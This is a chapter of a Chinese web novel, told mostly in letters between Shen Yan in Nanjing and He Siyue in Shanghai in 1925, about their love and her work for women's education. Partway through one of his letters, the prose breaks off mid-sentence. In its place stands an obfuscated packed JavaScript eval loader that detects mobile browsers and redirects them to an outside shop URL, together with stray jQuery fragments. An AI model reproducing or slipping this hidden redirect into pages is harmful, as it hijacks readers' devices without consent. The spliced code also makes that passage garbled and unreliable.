沈晏离开的第七天，何思玥收到了第一封信。


    信是杨石泽转交的，装在普通的牛皮纸信封里，封口用火漆封着，印着沈氏商行的徽记。


    何思玥接过时，手微微发抖。


    她回到公寓，坐在窗边的藤椅里，小心翼翼地拆开信封。信纸是上好的宣纸，沈晏的字迹一如既往地工整，但比平时多了几分随意：


    思玥吾爱：见字如晤。


    我已安抵南京。此处秋意渐浓，梧桐叶黄，颇有几分上海景象，然终是异乡。下榻中央饭店，临窗可见紫金山，云雾缭绕，时有钟声传来，悠远苍凉。


    此行诸事繁杂，日间拜会各方，晚间核算账目，常至深夜。然每至疲惫时，便想起你送我时眼中水光，想起那缕青丝，心中便生暖意，倦意顿消。


    南京乃六朝古都，古迹甚多。昨日得闲，往夫子庙一游。见秦淮河畔，画舫如织，歌女弹唱，恍若前朝旧梦。忆起曾与你同游城隍庙，你吃蟹壳黄，酥皮簌簌落下之态，历历在目。当时只道是寻常，如今思之，方知点滴皆珍贵。


    此地新开女子师范一所，规模颇大。路过时见女学生三五成群，蓝衫黑裙，朝气蓬勃。忽念及你之私塾，念及周晓芸等女孩，心下感慨。乱世之中，女子教育尤显可贵。你之坚持，意义深远。


    闻你已在《妇女杂志》任职，甚慰。望你劳逸结合，勿太辛劳。若遇难处，可寻石泽相助，我已嘱咐于他。


    夜深了，窗外秋虫唧唧。提笔至此，忽想起英国诗人济慈诗句：“Brightstar,wouldIweresteadfastasthouart.”（明亮的星，但愿我能如你坚定。）你便是我心中那颗星，照亮我前行之路。


    纸短情长，不尽欲言。盼你回信。


    愿卿安好。


    晏手书


    民国十四年十月十四日夜于南京！


    信末，还画了一个小小的算盘，旁边写着：“今日核账，错了一处，罚自己少睡半个时辰。若你在，一定要笑我。”


    何思玥看完信，眼泪不知何时已经掉下来，落在信纸上，洇开了墨迹。她赶紧擦干，生怕弄坏了这珍贵的书信。


    她走到书桌前，铺开信纸，提起笔。笔尖在纸上悬了很久，才落下第一个字：


    晏君如晤：


    来信收悉，反复读之，如见君面。


    上海近日阴雨绵绵，梧桐叶落了大半，满街金黄。我每日往杂志社去，途经霞飞路，总见那株老梧桐——你记否？我们曾在其下躲雨，你以西装为我遮檐，自己却湿了半边肩。


    工作尚顺利。林主编待我甚厚，常与我讨论文章至深夜。昨日翻译英国女作家伍尔夫新作《一间自己的房间》，颇有感触。女子欲独立，先须有独立之空间、独立之经济。此理古今中外皆然。


    前日去探望陈校长。私塾虽关，她仍在为女子教育奔走，联络各方，欲办正规女校。周晓芸从苏州来信，说师范课业繁重，但“如鱼得水”。沈希希的画在巴黎虽未获奖，但法租界画廊欲为她办个展。你看，你曾投资之“项目”，皆在开花结果。


    我一切安好，勿念。唯夜深人静时，偶感孤寂。然每念及你信中那句“你便是我心中那颗星”，便觉温暖。我们虽隔山水，却共望一天星辰，也算相伴。


    公寓里你养的那盆文竹，我每日浇水，已抽新芽。窗台上的栀子花谢了，我收了花瓣，制成香囊，待你归来赠你。


    盼君珍重，早归。


    思玥手复


    十月十七日


    她想了想，在信末添上一行小字：“另：错账之事，确要笑你。商人当以精准为本，下不为例。”


    写完信，她小心折好，装进信封。第二天上班时，顺路去了邮局。


    从此，书信往来成了他们之间最温柔的牵绊。


    沈晏的第二封信，一周后到达：


    思玥：得你回信，如获至宝。置于枕边，每日睡前必读。


    南京局势果如所料，错综复杂。昨日拜会实业部张次长，谈及纺织业发展，他颇有意在沪宁线设新厂。此事若成，或可解上海纱厂女工就业之困。想起你曾言“女子当经济独立”，此事我当尽力促成。


    前日往中山陵谒陵，见石阶漫长，游人如织。登顶四望，长江如带，钟山如屏，顿觉个人之渺小，时代之洪流。然转念一想，洪流亦由点滴汇聚。你我所作点滴努力，或也能成时代之一粟。


    你提及伍尔夫之作，深以为然。我已托人在英国购其全集，待我归来，与你共读。


    错账之训，铭记在心。如今每核账目，必想你若在旁监督，不敢有丝毫懈怠。


    南京深秋已寒，晨起见霜。你体弱，上海阴雨时，记得添衣。梨汤可常喝，药材我已嘱咐石泽备足。


    盼信。


    晏


    十月廿四日


    何思玥回信：


    晏：


    信至时，上海正放晴。阳光透过窗棂，照在你养的那盆文竹上，新芽又长了一寸。


    闻你欲促成新厂之事，心下欢喜。若真能成，不知多少女子可得生计，多少家庭可免饥寒。你常言自己是“商人”，然此等“生意”，方是真正功德。


    杂志社近日收到读者来信甚多。有一封来自无锡缫丝厂女工，说读了我们刊登的《女子经济独立论》，与工友集资，请了夜校先生教识字。信中说：“从前只知缫丝换钱，如今方知，女子也可读书明理。”我读之泪下。


    你看，星星之火，可以燎原。


    周晓芸昨日来信，附成绩单，门门优异。她说：“何老师，我定要成为像您一样的教师。”我回信告她：“不必像我，要做更好的自己。”


    近日翻译法国波伏瓦著作，遇难题数处。若你在，定能与我讨论。盼归。


    思玥


    十月廿九日


    她在信封里，夹了一片梧桐叶——从他们常走的那条路上捡的，叶脉金黄，像秋天的信物。


    书信就这样来来往往，穿过战火，穿过混乱，穿过六百里的山水，连接着两颗越来越近的心。


    有时沈晏的信很短，只有寥寥数语：“今日事繁，夜已深。提笔只为一言：想你。”


    有时何思玥的回信也很简单：“安好，勿念。文竹又长新叶。”


    但无论是长信还是短信，每一封都被对方反复阅读，珍藏。那些信纸渐渐厚起来，被何思玥用丝带系好，放在枕边木盒里。沈晏那边，也在行李箱中专门辟出一格，存放她的来信。


    冬天来临时，沈晏的信里多了担忧：


    思玥：


    南京已落初雪。晨起推窗，见满城素裹，美则美矣，然念及你体寒，心下忧虑。上海是否


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001215|193555||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也冷？暖气可足？棉衣可备？


    新厂之事已有眉目，然谈判艰难，恐需多留月余。归期推迟，愧对于你。


    昨夜梦你，在私塾庭院教画。槐花如雪，你穿藕荷色旗袍，笑靥如花。醒来怅然，提笔作画一幅，虽不善丹青，然心意在焉。随信附上，博卿一笑。


    务必珍重。


    晏


    冬月初八


    附着的画很简单，白描勾勒，一个女子在槐树下教画的背影。画角题字：“梦中见卿，醒来念之。”


    何思玥看着画，笑着哭了。她回信：


    晏：


    画已收，虽笔法稚嫩，然神韵在。已裱起，悬于书房，每日见之如见君。


    上海尚未落雪，然寒意已深。你嘱之物，皆已备齐。杨先生昨日送来狐裘一件，说是你托他置办。太过贵重，然念你心意，已穿上。


    新厂之事既已艰难，不必急于求成。你之安全，最是要紧。


    近日译完波伏瓦《第二性》首章，感触颇深。女子之困境，古今中外皆似。然正因如此，我辈努力才更有意义。


    勿念我，专心事务。待你平安归来。


    思玥


    冬月十二日


    她在信里夹了一小袋晒干的桂花——是秋天时收集的，香气依然馥郁。


    书信往来间，冬天过去了。当沈晏的信里开始出现“梅花已开，春意渐浓”的字句时，何思玥知道，离他回来的日子不远了。


    而她的木盒里，已经存了厚厚一沓书信。每一封，都是他们爱情的见证，都是乱世中，两颗心互相取暖的证明。


    有时候夜深人静，她会把那些信拿出来，一封封重读。读他描述南京的秋色，读他谈生意的艰难，读他说“想你”时的简洁，读他画那幅画时的笨拙而真挚。


    然后她会提笔回信，告诉他上海梧桐又发芽了，告诉他又有什么新文章要发表，告诉他，她在等他。


    十二月，上海突然降温。


    何思玥在信里抱怨：窗台上的茉莉冻死了。陈妈说今年冬天来得早，怕是极寒。你南京如何？秦淮河结冰了吗？记得多穿些，你总嫌厚重衣物臃肿，但保暖要紧。


    沈晏的回信里夹了一张照片——是他站在明孝陵神道旁拍的，穿着厚大衣，围着围巾，笑得有些拘谨。照片背面写着一行小字：


    “南京亦冷，但思你时，心是暖的。另：已添衣，勿念。”


    何思玥看着照片，忍不住笑了。她把照片放在床头，每晚睡前都要看看。


    深冬时，何思玥生了场小病。感冒发烧，躺了两天。她没有告诉沈晏，但陈妈多嘴，在送饭时提了一句。


    第三天，她就收到了加急电报，只有七个字：“已请南京名医来沪。”


    何思玥哭笑不得，赶紧回电：“小恙已愈，勿劳师动众。”


    但电报刚发出去，当天下午，一位穿着长衫的老先生就敲开了公寓的门——真是南京来的医生，姓秦，是沈晏重金请来的。


    秦先生仔细诊了脉，开了方子，临走时说：“沈先生对何小姐真是上心。听说您病了，连夜托人找到老朽，非要亲自来一趟不可。”


    何思玥送走秦先生，回到屋里，看着桌上那张沈晏的照片，心里涌起一阵温热的酸楚。


    这个人啊，总是用最实际的方式，说着最笨拙的情话。